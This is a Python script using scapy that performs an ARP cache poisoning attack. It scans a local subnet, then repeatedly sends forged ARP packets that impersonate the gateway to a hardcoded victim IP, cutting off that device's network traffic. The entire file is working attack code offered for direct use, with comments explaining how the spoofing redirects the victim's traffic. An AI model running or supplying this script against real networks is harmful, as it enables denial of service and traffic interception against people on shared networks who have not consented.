arp_cache_poison.py

import time

import netifaces
from scapy import sendrecv
from scapy.layers import l2

_SLEEP_INTERVAL = 5
DEBUG = True


class PoisonService:
    def __init__(self, subnet):
        self.device_layout = None  # type: Dict[str, str]
        self.subnet = subnet

    def setup(self):
        self.device_layout = self.gather_device_layout(self.subnet)

    def get_mac_of_ip(self, ip):
        return list(self.device_layout.keys())[list(self.device_layout.values()).index(ip)]

    def on_start(self, target_ip):
        if not self.device_layout:
            self.setup()

        if DEBUG:
            from pprint import pprint

            pprint(self.device_layout)
        if not self.device_layout:
            # trigger failure so restart
            raise AttributeError("No devices found on network")

        def sleepy_wait(interval):
            time.sleep(interval)
            return True

        try:
            while sleepy_wait(0.5):
                if target_ip:
                    gateway_ip = self.network_gateway_default()
                    target_mac = self.get_mac_of_ip(target_ip)
                    if not target_ip:
                        raise IOError(f"mac address: {target_mac}, was not found to be a known device")
                    print(
                        f"Poisoning {target_ip} w/mac: {target_mac}, mocking gateway @: {gateway_ip}/{self.get_mac_of_ip(gateway_ip)}")
                    self.perform_cache_poisoning_attack(target_ip, target_mac, gateway_ip)

                time.sleep(_SLEEP_INTERVAL)
        except KeyboardInterrupt:
            exit(0)

    def network_gateway_default(self):
        address, _ = (netifaces.gateways().get('default') or {}).get(netifaces.AF_INET) or (None, None)
        return address

    def gather_device_layout(self, cidr):
        packet = l2.Ether(dst='ff:ff:ff:ff:ff:ff') / l2.ARP(pdst=cidr + '/24')
        answered, _ = sendrecv.srp(packet, timeout=5, retry=3, verbose=False)
        return {
            rx[l2.ARP].hwsrc: rx[l2.ARP].psrc
            for tx, rx in answered
        }

    def perform_cache_poisoning_attack(self, target_ip, target_mac, gateway_ip):
        ethernet_target_layer = l2.Ether(dst=target_mac)
        # pretend to respond to an arp request:
        # here we say the origin of the packet was the gateway's ip
        # the destination of the packet is the victim's ip
        # scapy will fill in our mac for the source mac address
        # the victim's networking stack will be forced to redirect
        # all traffic to our mac address believing we are assigned the
        # gateway's ip address, since we do not forward the traffic,
        # the caller believes the request hit timeout.
        arp_packet = l2.ARP(op="who-has", psrc=gateway_ip, pdst=target_ip)
        # craft the full attack packet
        attack_packet = ethernet_target_layer / arp_packet
        # send 5 packets at the supplied interval (DOS persists for about 10 seconds after packets sent)
        sendrecv.sendp(attack_packet, inter=0.2, count=5, verbose=False)

    def ip_to_mac(self, ip):
        arp_request_broadcast = l2.Ether(dst="ff:ff:ff:ff:ff:ff") / l2.ARP(pdst=ip)
        answered_list = sendrecv.srp(arp_request_broadcast, timeout=2, verbose=False)[0]
        # we want the first packet set, response, and we are asking who sent the response
        return answered_list[0][1].hwsrc


if __name__ == '__main__':
    PoisonService('192.168.1.1').on_start('192.168.1.191')